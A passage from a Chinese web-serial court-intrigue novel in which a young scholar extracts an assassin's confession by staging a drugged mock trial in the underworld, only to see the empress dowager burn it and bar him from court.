景帝颓然地瘫坐在龙椅上,面前站着张廷玉和陈平川二人。 他脸上满是疲惫与歉疚,看着陈平川,嘴唇动了动,声音沙哑。 “爱卿……你放心,朕……朕一定会去说服母后的!” PC站点如章节文字不全请用手机访问 只是这话说出来,连他自己都没有半分底气。 陈平川能说什么?只能默默点头。 皇上硬不起来,他的计策再好,也无用武之地。 沉默片刻,景帝转而问向张廷玉:“刺杀状元一案,审得如何了?那名活口,可曾招供?” 张廷玉躬身回禀,神色黯然:“回陛下,那刺客嘴硬得很,刑部用尽了酷刑,他只字不吐,就是不肯招出幕后主使。” 景帝眼中最后一点光亮,也彻底黯淡了下去。 没有口供,他就无法名正言顺地对梁越发难。 “那就斩了吧……” 一直沉默的陈平川,忽然开了口。 “陛下。可否让臣,再去审一审那名刺客?” 这刺客是重要的人证,就这么稀里糊涂地杀了,实在可惜。 景帝和张廷玉同时一愣,都朝他看了过来。 陈平川的脸上浮现出一抹高深莫测的笑容,又带着掌控全局的自信:“或许,臣有办法让他开口。” …… 天牢深处,是另一方人间。 这里没有日月,只有墙壁上贪婪燃烧的火把,将湿漉漉的石壁映照出一片油腻的昏黄。 陈平川手持景帝亲笔手谕,跟在面色凝重的张廷玉身后。 刑部侍郎在前引路,脚步发出的“吧嗒”声在幽深的地道里回响,显得格外空洞。 一道道沉重的铁门在他们身后“哐当”锁上,仿佛是地府的关隘,每过一重,便离阳世更远一步。 最终,他们停在了一间死囚牢前。 牢内一个赤着上身的男人,被两根贯穿了琵琶骨的粗大铁链高高吊起,身体的重量全压在锁骨之上,双脚虚点着地面,像一具被玩弄后随意丢弃的破败人偶。 他浑身上下,鞭痕交错,烙印深陷,暗红色的血痂与新裂的皮肉混杂在一起,看不出一寸完好的肌肤。 只有胸口那微弱到几乎不可察的起伏,证明他尚有一丝游魂未散。 听到脚步声,他艰难地掀动沉重的眼皮。 那双充血的眼珠在眼眶里缓缓转动,最终,焦点落在了陈平川身上。 周孝的嘴角,艰难地扯出一抹混合着血沫的冷笑,那笑意里,是深入骨髓的不屑与嘲弄。 “小崽子……命真大!” 陈平川的目光平静如水,他转向一旁刑部侍郎和张廷玉,拱手一礼,声音温和谦恭:“两位大人,下官想与此犯单独叙话几句,事关重大,不便为外人所知。可否请诸位行个方便,暂且回避片刻?” 刑部侍郎面露难色,这不合规矩。 他抬头看了看张廷玉,后者轻轻点了点头,两人退后牢房。 PC站点如章节文字不全请用手机访问 陈平川又对身后的狱卒道:“上些酒菜来,要热的,要荤的。” 狱卒不敢怠慢,不多时,酒菜已经准备妥当。 一壶温热的黄酒,一盘酱色油亮的烧鸡,几碟精致小菜,在这死气沉沉的天牢里,散发出格格不入的诱人香气。 “开门。”陈平川淡淡吩咐。 牢门“吱呀”一声打开,他却并未走入,只是站在一个安全的距离,对狱卒道:“将他的手铐解开,让他能端碗吃饭。” 他亲手斟满一碗酒,送到周孝面前,语气温和得像是在招待一位多年未见的老友。 “壮士,你我本无冤无仇。你为钱财,我为功名,各取所需罢了。来,吃顿饱饭,喝杯热酒,黄泉路上也能暖和些,不至于做了个饿死鬼。” 那碗飘着肉香的酒,倒映着周孝的双眼。 他干裂的喉结不受控制地上下滚动了一下,那是身体最原始的渴望。 但他猛地扭过头,声音沙哑:“收起你这猫哭耗子的假慈悲!要杀就杀,别他娘的耽误老子投胎!” PC站点如章节文字不全请用手机访问 第125章 高端的审问,往往采用最朴素的方式 陈平川不以为意,自顾自地倒了一杯酒,淡淡道。“你叫周孝,我说的可对?” “家住城南柳条巷,堂中还有一位六旬老母,膝下尚有一个刚满七岁的孩儿。”陈平川平静地陈述着,周孝的身体却变得僵硬。 他不怕死,但他在乎自己的家人。 “你以为你死得壮烈,是一条为主尽忠的忠犬,梁家就会善待你的家人?”陈平川语气讥讽,“别傻了。你死了,他们就是这世上唯一的隐患。梁越只会派人将他们处理得干干净净,永绝后患!” “你胡说!”周孝像是尾巴被踩烂的野狗,疯了一般猛地向前扑来! 贯穿琵琶骨的铁链被瞬间绷直,发出“哗楞楞”的刺耳巨响,巨大的拉扯力让他发出一声痛苦的闷哼,身体又重重摔回原地。 他双目赤红如血,死死盯着陈平川,那眼神恨不得将他生吞活剥。 陈平川平静看着他,声音变得轻柔,充满了诱惑:“只要你肯说出幕后主使,我以我新科状元的功名作保,不仅让你活下去,还会给你一笔足够你下半辈子衣食无忧的巨款。让你带着老娘和儿子远走高飞,隐姓埋名,做个富家翁。” 他顿了顿,加重了语气:“这,难道不比给一个注定要抛弃你的主子卖命,要强上千倍万倍吗?” 周孝的胸膛剧烈起伏,粗重的喘息声在牢中回荡。 活下去,带着娘和儿子过上好日子……这个念头像野草,在他心底上疯狂生长。 但仅仅一瞬间,那丝动摇就被一种赴死的决绝所取代。 他猛地抬起尚能动弹的一脚,用尽全身力气,将饭菜狠狠踹翻! 酒菜、碗碟碎裂一地,狼藉不堪。 周孝趴在冰冷的地上,喉咙里发出野兽般嘶哑的狂笑:“哈哈……哈哈哈!少废话!老子烂命一条,死则死矣!想从老子嘴里套话,你下辈子再来吧!” 瞬间,陈平川脸上所有的温和与惋惜,如潮水般瞬间褪去。 取而代之的,是一种带着三分邪气的冰冷笑容。 他缓缓站起身,居高临下,那眼神,就像看一条死狗。 “好。既然你这么想死,本官就成全你。” 他从怀中慢条斯理地取出一个小小的油纸包,当着周孝的面,将里面雪白细腻的粉末,尽数撒入唯一没有打翻的那只酒壶里。 他轻轻摇晃酒壶,壶中的酒液与粉末迅速混合,无色无味,无法分辨。 他重新倒了一杯酒,蹲下身,将酒杯推到周孝的面前,声音里带着讥讽与戏谑:“这是本官特意为你从西域寻来的‘断头酒’,名为‘见血封喉’。无色无味,但凡入口,三步之内,必定穿肠烂肚,化作一滩血水而死,神仙也难救。” 周孝的心,猛地向下一沉。 陈平川的声音如同毒蛇,钻入他的耳朵:“你怕死,人之常情。但若你敢喝了这杯酒,证明你不是孬种,本官就敬你是条汉子,此事到你为止,绝不牵连旁人。否则……” 他的尾音拖得极长,每一个字都像一把冰冷的刀子,狠狠地扎在周孝的心上。 “否则,本官即刻上奏陛下,判你刺杀朝廷命官,图谋不轨,意图颠覆社稷之罪,诛你九族!” “诛九族”三个字,轰然炸响,将周孝脑中最后一丝理智,瞬间劈得粉碎! 他的娘,他的儿子,他那远在乡下的兄嫂姐妹……何其无辜! 他猛地抬起头,双眼几乎要喷出火来,用尽全身的力气嘶吼道:“有何不敢!老子烂命一条,死不足惜!但老子的家人是无辜的!来!拿来!” 陈平川的嘴角,终于勾起一抹微不可查的弧度,将那杯“毒酒”,递了过去。 PC站点如章节文字不全请用手机访问 周孝一把夺过酒杯,眼中只剩下决绝与疯狂,在陈平川的注视下,他仰起头,将那杯致命的“毒酒”一饮而尽! 酒液入喉,顺着他干涸的食道滑入腹中,带着一丝温热和辛辣。 周孝下意识地咂了咂嘴,贪婪品味,脑袋却猛地向下一沉,眼前的景象开始了剧烈的摇晃。 牢房里那跳跃的火把,被拉扯成一条条扭曲的光带,湿冷的石壁则化作了波浪般起伏的黑色潮汐。 他惊恐地张开嘴,喉咙里发不出任何声音。 随即,身子一软,眼前彻底陷入了无边的黑暗。 张廷玉与刑部侍郎听到牢内重物倒地的闷响,再也按捺不住,纷纷赶过来。 当看到悄无声息趴在地上的周孝时,两人皆是大惊失色。 “平川!你……你竟真的将他毒死了?”张廷玉的声音里带着震惊。 未经审判就杀了犯人,这罪名也不小的。 景帝倒是不会说什么,就怕梁越那伙人借题发挥,弹劾陈平川。 陈平川不慌不忙地走上前,将那只滚落在地的空酒杯捡起,淡淡道:“张大人尽请放心,酒里没有剧毒。” “那只是一种能让人心神失守,魂游太虚的迷药罢了。” 此药,还是当初黑风寨的哑巴叔塞给他的防身之物,无色无味,能勾起人心中最深沉的恐惧与幻想,用在此处,再合适不过。 陈平川对着已然目瞪口呆的两位朝廷大员,恭敬地拱了拱手。 “接下来,还请两位大人,配合下官演一出好戏。” …… 不知沉沦了多久,周孝悠悠醒转。 他猛地睁开眼,却骇然发现,自己竟不再身处那间熟悉的天牢。 这里是一处空旷而昏暗的大殿,四周飘荡着磷火般的幽幽鬼火,空气中弥漫着一股浓重的、纸钱燃烧后特有的焦糊气味,混杂着泥土的腥气,钻入鼻腔,令人作呕。 正前方一张黑漆高案之后,端坐着一个青面獠牙、头戴乌纱官帽的身影。 那张狰狞的面具之下,双眼的位置是两个深不见底的黑洞,仿佛能吞噬一切光线与希望。 “犯人周孝!你阳寿已尽,魂归地府,见本判官为何不跪!” 一声炸雷般的怒喝,吓得周孝双膝一软,竟不受控制地“噗通”一声,直挺挺地跪倒在冰冷坚硬的地面上。 他惊恐万状地环顾四周,只见那“判官”两旁,赫然站着两个手持哭丧棒、勾魂索的鬼差,一个顶着硕大的牛头,一个戴着狰狞的马面,正用那空洞无神的眼眶死死地盯着他。 PC站点如章节文字不全请用手机访问 第126章 活人审不了你,那就请地府判官来审! 阴气森森,大殿的角落里,仿佛有无数冤魂在鬼哭狼嚎,那声音时远时近,钻心刺骨,令人毛骨悚然。 张廷玉与刑部侍郎戴着那粗制滥造却在此情此景下显得无比骇人的面具,心中虽觉荒唐至极,但看到周孝那副屁滚尿流、抖如筛糠的模样,又不得不打心底里佩服陈平川这惊世骇俗的手段。 “砰!” 陈平川所扮演的“判官”,重重一拍乌黑的惊堂木,巨响在大殿之中激起层层回音,久久不散。 “周孝!你生前恶贯满盈,为虎作伥,刺杀当朝状元,罪孽何其深重!在本官面前,休得狡辩!速速从实招来,可免你受那刀山火海、油锅烹炸之苦!” 在药物的催化与极度的恐惧双重作用下,周孝的神志已然彻底混乱,他完全相信自己已死,正身处传说中审判亡魂的阴曹地府。 他嘴唇不住地颤抖,牙齿咯咯作响,却还残留着最后一丝作为死士的硬气。 “我……我什么都不知道……” “哼!人都死了,还敢嘴硬!” “判官”冷哼一声,那身宽大的黑袖猛地一挥,动作间带起一阵阴风。 一个早已候命的狱卒扮成的小鬼,立刻抬上一面足有半人高的巨大铜镜,镜面古朴,泛着青幽幽的光。 陈平川用那刻意压低、不似人声的语调缓缓开口:“此乃业镜,能照尽你生前所思所想,所作所为,让你死个明明白白!” 周孝下意识地抬头看去,只见那镜中光影变幻,竟真的清晰地映照出一间华丽的府邸书房,一个管家模样的人,将一叠厚厚的银票塞入他的手中。 画面一转,是他蒙着黑巾,手持利刃,在长街之上,眼神凶狠地扑向高头大马上的红袍状元…… 刺杀的每一个细节,都与他脑海中的记忆分毫不差! 周孝的心,彻底沉入了冰窖。 镜中画面再次流转,这一次,出现的是城南柳条巷那破旧的屋檐。 他白发苍苍的老母亲,正颤巍巍地倚在门框上,浑浊的眼睛望着巷口,似在期盼。 旁边,他年幼的儿子正坐在冰冷的门槛上,专心地玩着一只缺了腿的破旧木马。 只听“判官”那冰冷无情的声音再次响起,如同来自九幽之下的最终审判。 “冥顽不灵,罪加一等!打入阿鼻地狱,永世不得超生!其母、其子,阳寿皆削减二十年,贬为乞丐,世世受苦,日日行乞,代你赎罪!” “不!不要!” 看到亲人那熟悉又脆弱的身影,听到他们那凄惨无比的下场,周孝心中最后一道防线,于此刻轰然崩溃! 他彻底疯了,鼻涕眼泪一同涌出,狼狈不堪。他用额头重重地磕在冰冷的地面上,发出“咚!咚!咚!”的闷响。 “判官大人饶命!阎王爷饶命啊!我说!我什么都说!求求您,放过我的家人!他们是无辜的!” “说!幕后主使究竟是谁?如何与你接洽?如何谋划?同党几人?一字一句,不得有丝毫隐瞒!” 周孝再不敢有任何犹豫,如同竹筒倒豆子一般,将自己如何被国舅府的大管家梁安找到,梁越如何亲自在密室接见,如何许诺事成之后黄金千两,并安排他家人下半生衣食无忧等等所有细节,全部和盘托出。 旁边的“小鬼”奋笔疾书,墨汁飞溅,很快便将一份详尽的供状整理完毕。 陈平川将那份写满了罪状的“文书”从案上丢下,纸张飘飘荡荡,落在周孝面前,他厉声喝道。 “画押!本官可看在你一片拳拳孝心,让你免受轮回之苦,更可保你家人一世平安,寿终正寝!” PC站点如章节文字不全请用手机访问 周孝此刻已是将他当做了救命的菩萨,感激涕零,毫不犹豫地将右手食指沾了红泥,在那份供状上,重重地按下了自己的手印。 指印按下的瞬间,他只觉得眼前再次天旋地转,所有的景象都化为泡影,整个人再一次沉沉昏死过去。 大殿内,陈平川缓缓摘下脸上那张青面獠牙的面具,长长地吁了一口气。 他对着同样脱下牛头马面头套,脸上神情复杂的张廷玉二人,比了个手势,嘴角终于浮现出一抹属于胜利者的笑容。 …… 待周孝再次醒来,已是第二天清晨。 一丝微弱的光芒,从牢房顶端狭小肮脏的窗口透入,在他脸上投下一道灰白的光斑。 他发现自己依然躺在冰冷潮湿的草堆上,浑身酸痛欲裂,但除了琵琶骨的剧痛,身上并无新伤。 昨夜种种,那阴森的大殿,那可怖的判官,那穿心的话语……莫非,只是一个太过真实的噩梦? 他正自疑惑,牢门“哐当”一声打开,狱卒面无表情地在他面前展示了昨夜的口供。 周孝挣扎着,疑惑地盯着那卷纸。 当他看到上面那熟悉的字迹,以及末尾处那个刺目又熟悉的血手印时,整个人如遭雷击,瞬间僵住。 他终于明白,这从头到尾,就是一个为他量身定做的陷阱,一场滴水不漏的骗局! “你……你们……” 他气得浑身剧烈地发抖,伸出颤抖的手指着牢门外,喉头一甜,一口鲜血猛地喷涌而出,随即两眼一翻,直挺挺地向后倒去,彻底昏死过去。 这种从希望的云端,瞬间跌入绝望深渊的极致打击,比世间任何一种酷刑,都更加致命。 通向御书房的道路上,张廷玉拿起那份签着手印的供状,那张总是布满忧国之色的老脸上,此刻满是抑制不住的激动与笑意。 他看着眼前这个年纪轻轻、手段却老辣的状元郎,眼神里充满了赞赏。 “平川,你真乃经天纬地之才!有此铁证,梁越……死期不远矣!” 御书房内,景帝看着那份周孝的供状,也高兴得连连点头。 “好!好一个陈平川!智计无双,真乃国之利器!” 景帝龙颜大悦,连声音都因激动而带着一丝颤音。 他从龙椅上站起,在御案前来回踱步,当即下令,“赏陈平川黄金十两,锦缎百匹!” 他有心给陈平川更多赏赐,奈何国库没钱,只能意思一下。 张廷玉站在一旁,也是心潮澎湃。大业朝有了这个年轻人,或许真的有救! 激动过后,景帝的眼神陡然变得狠厉起来,那是一种压抑已久的愤恨与杀意。 他重重一拍紫檀龙案,发出“砰”的一声闷响,对张廷玉道:“张爱卿,有此铁证,朕是否可以立刻下旨,将梁越那老贼打入天牢,查抄其家产!” “十拿九稳!” 张廷玉也信心满满,不过他还是提了一嘴:“只要太后那边……” 景帝冷声道:“先斩后奏,母后就是反对也来不及!” PC站点如章节文字不全请用手机访问 侍立一旁的魏忠,眼帘低垂,仿佛对眼前的一切都充耳不闻,但内心却是一沉。 皇上要对国舅爷动手?他眼里闪过异色,此事,必须禀报太后娘娘! …… PC站点如章节文字不全请用手机访问 第127章 亲妈护舅踩皇权!状元命贱不如狗? 翌日,金銮殿。 旭日东升,金光洒满琉璃瓦,一扫连日阴霾。 殿内百官肃立,景帝精神抖擞,端坐于九龙宝座之上,腰杆挺得笔直,仿佛一夜之间脱胎换骨。 张廷玉手持供状副本出列,苍老却洪亮的声音如钟磬般在大殿之上回荡。 “陛下!刺杀状元一案,刺客周孝供认,指使他当街刺杀新科状元陈平川者,乃当朝国舅,梁越!” 他当众宣读周孝的供词,将梁越如何于密室相召、如何许以重金、如何安排后路,桩桩件件,一字不落地公之于众。 话音落下,朝堂之上,瞬间炸开了锅。 梁越的党羽立刻跳了出来,极力为其辩护。 “陛下!区区一个刺客的片面之词,岂能尽信?此人定是受了酷刑,不堪折磨,才屈打成招!” “没错!此乃构陷!是有人想借此打击国舅爷,其心叵测,意图动摇国本!” 一声声辩解与攻讦此起彼伏,整个大殿嘈杂不堪。 “都给朕闭嘴!” 景帝怒不可遏,他伸手指着下方脸色铁青,却依旧强作镇定的梁越。 “梁越!你好大的胆子!竟敢谋害朝廷命官,视我大业律法于无物!” 梁越缓缓出列,从容地整了整身上绣着麒麟的一品官袍,他昂着头,嘴硬道:“陛下,这分明是栽赃陷害!臣对天盟誓,对您忠心耿耿,更没有派人行刺状元!” 景帝怒极反笑:“好!好一个忠心耿耿的盟誓!来人!将梁越拿下,押入大理寺天牢,严加审问!” “喏!”两名殿前羽林卫应声而动,身上厚重的甲胄发出“铿锵”的碰撞声,手按刀柄,直逼梁越。 梁越的党羽们见状,立刻如同一堵密不透风的墙,死死拦在梁越身前,与羽林卫怒目相向。 “陛下不可!国舅乃是皇后娘娘的亲兄,您的亲舅舅!是为国操劳的栋梁!无凭无据,仅凭一份真假难辨的供词就拿下国舅,此事万万不可!” “此事体大,牵连国体,需禀明太后娘娘,由她老人家定夺!” 景帝哪里肯给他们机会,双目赤红,连连高呼:“拿下!给朕拿下!谁敢阻拦,以同党论处!” 眼看一场流血冲突就要在金銮殿上爆发,陈平川面色平静,站在一旁冷眼旁观。他有预感,皇帝的刀,终究是砍不下去的。 果不其然。 殿外突然传来一声尖细而悠长的通传,那声音刺破了殿内的嘈杂,让所有人都为之一静。 “太后娘娘驾下孙嬷嬷到——” 一个满脸褶子、神情冷漠的老嬷嬷,步履匆匆地走进大殿,目不斜视,径直走到御阶之下,对着龙椅福了一福。 “太后娘娘有旨,宣陛下即刻入慈宁宫觐见!” 景帝刚刚鼓起的万丈气焰,被这一句话浇得一干二净。 他身子一晃,整个人都萎靡了下去,颓然坐回那宽大的龙椅里,仿佛所有的力气都被瞬间抽空。 “母后……已经知道了?怎么会?” PC站点如章节文字不全请用手机访问 张廷玉脸上闪过一丝绝望,而陈平川的眼中,只有一片了然。 梁越得意地掸了掸衣袖,那双阴鸷的眼睛扫过张廷玉和陈平川,目光满是轻蔑。 随后他对着龙椅上失魂落魄的景帝拱拱手,露出一丝得意的笑意。 “陛下,咱们一起去慈宁宫见太后娘娘吧。” …… 慈宁宫。 这里没有金銮殿上刀光剑影的肃杀,却更令人感到窒息。 尤其是对景帝而言,他不喜欢这里。 当今皇太后梁氏,身着一袭绣工繁复的凤穿牡丹常服,慵懒地倚坐在铺着明黄软垫的宝座之上。 她并未看向任何人,只是垂着眼帘,盘着一串光泽圆润、成色臻至完美的东珠手串,珠子与珠子碰撞,发出极轻微的、玉石相击的声响。 她的旁边,一品国舅梁越端端正正地站着。 他肩膀微微耸动,脸上交织着滔天的委屈,仿佛是为国为民、却蒙受了天大冤屈。 而站在对面的景帝,就像霜打茄子。 刚才金銮殿上,那一股怒火与杀气,早已不见,只余下怯懦与无力。 “皇帝!” 梁氏并未抬头,声音不高不低,轻飘飘的,却让景帝的心口发闷,额头冒汗。 “你为何要为了一个不相干的外人,将你的胳膊肘拐到外面去,来诬陷你的亲娘舅?” 景帝深呼吸,鼓起勇气面对自己的母亲。 “母后!人证物证俱在,刺客周孝已经画押招供!桩桩件件,皆是实情,儿臣绝无半句虚言!” 说完,双手捧起那份供状。 梁氏懒懒地撩起眼皮。 那双保养得宜、眼角不见一丝细纹的凤眼里,带着冰冷与厌烦。 她甚至没有伸手去接,只是轻蔑地、微不可察地抬了抬下巴。 旁边侍立多年的老嬷嬷立刻心领神会,躬身上前,从景帝手中接过那份供状。 可她未呈给太后,而是在太后冰冷的注视下,手臂一扬,直接将那份被景帝视若翻盘利器的纸张,如同废纸般,丢进一旁的火盆里! “一个将死之人的胡言乱语,也能当成扳倒当朝国舅的铁证?” 梁氏的声音里带着一丝嘲弄,“哀家看,你是被猪油蒙心,昏了头了!” 梁越立刻抓准时机,跪倒在地,声泪俱下地朝着太后重重叩首:“太后!您可要为老臣做主啊!” 他旋即转过头,用一种悲愤交加、痛心疾首的眼神望着景帝。 “陛下,老臣知道,您是觉得我这个舅舅碍了您的眼,挡了您的路,影响了您至高无上的皇权!可……可您也不能用这种手段,来残害老臣,您这样会寒了天下臣子的心啊!” PC站点如章节文字不全请用手机访问 字字句句,诛心之言! 这已不是辩解,而是反过来指控景帝刻薄寡恩,为了一己私欲,不惜残害肱骨亲族。 景帝气得浑身发抖,指着梁越的手都在剧烈地颤抖。 “你……你血口喷人!无耻之尤!” 他无力地转向宝座上那个冷漠的母亲,声音里不自觉地带上了一丝近乎哀求的腔调。 “母后!那陈平川是儿臣亲点的状元,是大业朝未来的栋梁!光天化日之下,有人当街刺杀他,这便是藐视朝廷,是打儿臣的脸!朕……朕岂能坐视不理?” “状元?” 梁氏忽然发出一声轻蔑的冷笑,好像听到了什么天底下最好笑的笑话。 她终于放下了那串温润的东珠佛珠,缓缓从宝座上站起身,迈着雍容的步子,居高临下地俯视着自己这个不成器的儿子。 “不过是一个侥幸从泥水里爬上来的乡野小子罢了,死了,就再点一个便是。我大业朝,地大物博,人才济济,难道还找不出第二个吗?” 她顿了顿,眼神如冰刀般刮过景帝的脸。 “一个外人……死了就死了,难道他的命,比你舅舅的清白和委屈,还要金贵吗?” PC站点如章节文字不全请用手机访问 第128章 太后禁言?陈平川:我不说话照样干翻你们! 景帝如遭雷击,他难以置信地看着眼前这个熟悉,却又无比陌生的母亲。 那冰冷无情的话语,将他心中最后一丝温情与期盼,彻底冻结。 原来,在他母后眼中,他寄予厚望的安邦定国之才,竟真的连梁越的一根头发都比不上。 “母后……陈平川有经天纬地之才,并非寻常书生,他……” “够了!” 太后厉声打断他,脸上浮现出不耐。 “皇帝!你要时刻记住自己的身份!更要记住谁才是你真正的依靠!不要被一些心怀叵测、巧言令色的小人蒙蔽了双眼,做出亲者痛、仇者快的蠢事来!” 梁越见状,立刻趁热打铁,再次叩首,声音洪亮。 “太后明鉴!陛下不仅要动老臣,还要听信那陈平川的谗言,推行什么‘以商制夷’的荒唐国策,要重开边境榷场!陛下这是要掘我大业的根基,动摇国本啊!” “什么?” 梁氏凤目陡然圆睁,怒火瞬间在她眼中燃起。 “胡闹!简直是胡闹至极!” 她快步走到景帝面前,几乎是指着他的鼻子。 “如今四海升平,国泰民安,你不好好守着祖宗传下来的基业,竟听信一个黄口小儿的谗言,去搞那些乱七八糟、闻所未闻的东西!万一引狼入室,招致蛮族大举入关,这天下动荡,江山倾覆的罪责,你担待得起吗?” 景帝望着梁氏那张愤怒而略显扭曲的脸,做着最后的挣扎。 “母后!国库只余三百万两,边军数月未得粮饷,流民四起,蛮族叩关!这难道就是您口中的四海升平吗?再不想办法,儿臣将来有何面目去见列祖列宗!这江山,就要断送在儿臣手里了啊!” “啪!” 太后重重一巴掌拍在旁边的紫檀木嵌螺钿长案上,满头的珠翠凤钗都随之剧烈摇晃。 “够了!” 她声音严厉,怒火中烧。 “从今日起,那个叫陈平川的,不准再参与任何朝政!若是再让哀家听到他胡言乱语,说什么‘以商制夷’的鬼话,哀家……就先砍了他的脑袋!” 景帝彻底僵在原地,脸色在一瞬间变得苍白如纸,血色尽褪。 终究他还是输了,输得一败涂地。 …… 御书房内,一片死寂。 香炉里的瑞脑香早已燃尽,只剩一缕残烟,空气冰冷而稀薄。 景帝瘫坐在那张宽大而空旷的龙椅上,整个人仿佛丢了魂魄,双目无神地望着虚空中的某一点,良久,他才缓缓抬起头,看向静立在一旁、神色无波无澜的陈平川。 他嘴唇翕动了几下,喉咙干涩,发不出任何声音。 最终,那句话还是从他的喉咙里,一个字一个字地挤了出来,带着无尽的疲惫与颓唐。 “母后……她不准你,再参与朝政了。” PC站点如章节文字不全请用手机访问 说出这句话,仿佛耗尽了景帝全身的力气。他不敢去看陈平川的眼睛,他怕看到失望,怕看到鄙夷。 然而,预想中的情绪并未出现。 陈平川只是静静地听着,脸上依旧是那副波澜不惊的模样。 他对着龙椅上的景帝,恭恭敬敬地躬身一礼,声音平稳。 “臣,遵旨。” 随后陈平川用一种近乎闲聊的语气,轻声道:“陛下其实不必焦虑。太后娘娘懿旨,不准臣参与朝政,可她老人家没说不让臣‘著书立说’啊。” 景帝猛地一怔,没明白他的意思。 陈平川慢悠悠地继续说道:“臣如今的官职,还是翰林院编撰。翰林院的职责,不就是修史编书,教化万民吗?” “著书立说……教化万民……”景帝喃喃自语,空洞的眼神里,仿佛有什么东西被点燃了,“爱卿!你的意思是……” 他的眼睛一点点亮了起来,呼吸都变得急促。 陈平川微笑说道:“太后与国舅爷不让陛下开榷场,无非是觉得会动摇国本。那臣就写一本书,将这‘以商制夷’的国策,掰开了,揉碎了,写成天下读书人都能看懂的文字!让他们知道,何为国富,何为民强!” 他字字铿锵,充满了无穷的自信与力量。 “朝堂之上,他们可以堵住陛下的嘴,可以捂住臣的口。但天下悠悠众口,他们堵得住吗?陛下,朝堂之上我们输了,那我们就去朝堂之外,去开启一个新的战场!一个用笔墨,用人心,定国运的战场!” …… 当陈平川再次踏入翰林院的门槛时,迎接他的是幸灾乐祸的目光和低低的嗤笑。 昨日,皇太后发火,下令禁止他以后参加早朝的事情,早已传开了。 陈平川向声音传来的方向看去,目光冷厉。 那些流言蜚语,冷嘲热讽,顿时都消失不见了。 掌院学士孙承志背着手,迈着四平八稳的官步,从月亮门后踱了出来。 他脸上挂着一副假笑,眼角的皱纹里却藏着刀子般的快意。 “哎呀,平川啊,”他长叹一声,声音拉长,“听闻你被太后娘娘申斥了?唉,年轻人嘛,骤登高位,难免气盛。受些挫折,磨磨棱角,也是好事。今后,可要潜心治学,莫要再好高骛远,想那些不切实际的了。” 陈平川对着他,缓缓拱了拱手,露出一丝谦恭的笑意。 “孙大人教诲的是,下官受教了。” 周围的同僚们一听,嘲笑和讥讽又死灰复燃。 看,状元郎的脊梁骨,到底还是被太后娘娘给打断了! 孙承志捋着胡须,脸上的得意都快要挂不住了。 让这小子揭自己老底,这回轮到你吃瘪了! 可陈平川的下一句话,却让他脸上的笑容瞬间凝固。 “下官痛定思痛,决定洗心革面,不再去想那些个''不切实际''的安邦定国之策了。” 陈平川一脸的“诚恳”,他看着孙承志,慢悠悠地接着说,“下官想好了,就从最脚踏实地的事情做起,比如……帮孙大人您分分忧。” PC站点如章节文字不全请用手机访问 孙承志心里咯噔一下,一种不祥的预感爬上心头。 只听陈平川低声说道:“上次那笔三万两去向不明的专款,下官还没有帮您查出个水落石出,现在有时间了!下官会继续调查,免得这桩旧案的‘棱角’,搁置久了,硌着大人您啊!您看,这总够‘实际’了吧?。” “你……”孙承志的眼珠子都要瞪出来了,后背的冷汗浸湿了里层的官服。 他本想看陈平川的笑话,却没想到,眼前这个年轻人,根本不是斗败的公鸡,而是一条蛰伏的毒蛇,随时准备跳起来咬人! “那个,本官刚才就是随口说说,随口说说……”孙承志擦着冷汗,不敢直视陈平川。 周围的同僚们一脸诧异,看到前一秒还耀武扬威的孙学士,此刻像是见了鬼一般,脸色煞白,冷汗涔涔而下。 陈平川哈哈一笑,拱手道:“对了,孙大人,下官欲静心修史,只是如今的差房人多口杂,实在难以静心。大人可否为下官寻一处僻静之所?” PC站点如章节文字不全请用手机访问 第129章 面壁思过?自暴自弃?燕雀安知鸿鹄志! 孙承志微微一愣,随后赶紧点头:“有!当然有!后院有间杂物房,久无人用,蛛网尘封,虽是简陋了些,但胜在一个清静!来人啊!快去给陈编撰收拾出来!” “多谢孙大人!”陈平川一甩袍袖,向后院走去。 消息传遍了整个翰林院。 欧阳锐与几名同僚背后讥讽嘲笑: “状元郎金銮殿上受了挫折,跑去杂物房面壁思过?早知今日何必当初?” “状元梦碎,不如归去!我劝他还是早日上书,告老还乡吧!免得在这京城里,丢人现眼,污了我们翰林院的清名!” 不远处,垂柳之下,林锦玉临风而立,眉头紧紧锁成了一个“川”字。 虽然他是个八面玲珑的人,但却敬佩敢说敢做之人。 朝堂上的风波,他听说了,心中对陈平川的胆识与卓见,很是敬佩。 但现在他想不通,为何这样一个足以搅动风云的人物,会自暴自弃? 待欧阳锐等人离去后,他才走入杂物房内,向正在收拾东西的陈平川拱手道: “陈兄,朝堂失利,非战之罪。以你的经天纬地之才,何至……何至如此自暴自弃?”他的声音里,带着真切的惋惜与不解。 陈平川终于停下了手中的动作。 他转过身,看着一脸真诚与困惑的林锦玉,被尘埃覆盖的脸上,浮现出一丝意味深长的笑意。 他拍了拍手上的灰尘,取来纸笔,挥毫泼墨,写下一行字,然后递给了林锦玉。 “这是……” 林锦玉低头看去,身体猛地一震,如遭电击。 他呆立在原地,抬头看着陈平川继续忙碌,却如山岳般沉稳的背影。 “燕雀……鸿鹄……”林锦玉喃喃自语,眼神中迷茫尽褪,取而代之的是一片豁然开朗的清明与震撼。 他明白了,这不是堕落,而是潜伏。 陈平川绝非放弃,他只是换了一个战场! …… 杂物间里,陈平川开始了废寝忘食的写作。 一灯如豆,他将“以商制夷”的宏大国策,从边境贸易的具体操作,到税收制度的颠覆性改革,再到工商对农业的反哺之利,乃至对整个大业朝经济结构的重塑蓝图,全部系统性地、毫无保留地写入书中。 他摒弃了传统经义文章的佶屈聱牙,采用最通俗易懂的白话文,让这复杂的经济学原理,变成连乡间秀才都能看懂的醒世恒言。 书名,他定为《安民论》。 陈平川“面壁思过”的消息,很快通过孙承志的嘴,传到了国舅梁越的耳朵里。 一场奢华的酒宴之上,歌舞升平,美人如玉。 梁越轻蔑地一笑,举起镶金的酒杯,对着满堂宾客朗声道: “本以为陈平川是条过江的猛龙,没想到不过是条钻进泥里的臭虫!此人已经废!陛下还以为此人能力挽狂澜,可笑,可笑啊!” PC站点如章节文字不全请用手机访问 满堂哄笑中,他也彻底放下了心,将这个不成气候的状元郎抛之脑后,重新将全部精力放回了朝堂权力之上。 一个月后。 杂物间的门,“吱呀”一声,被从内推开。 陈平川走了出来,他头发杂乱,神情疲惫,然而,他那双眼睛,却亮得吓人,仿佛有两团幽蓝的火焰在熊熊燃烧。 他手中,捧着一沓字迹满满的手稿,这是用来劈开这昏庸腐朽世道的一柄利剑! 当夜,月色如水。 陈平川叩响了大学士张廷玉府邸那扇厚重的朱漆大门。 书房里,灯火通明,檀香袅袅。 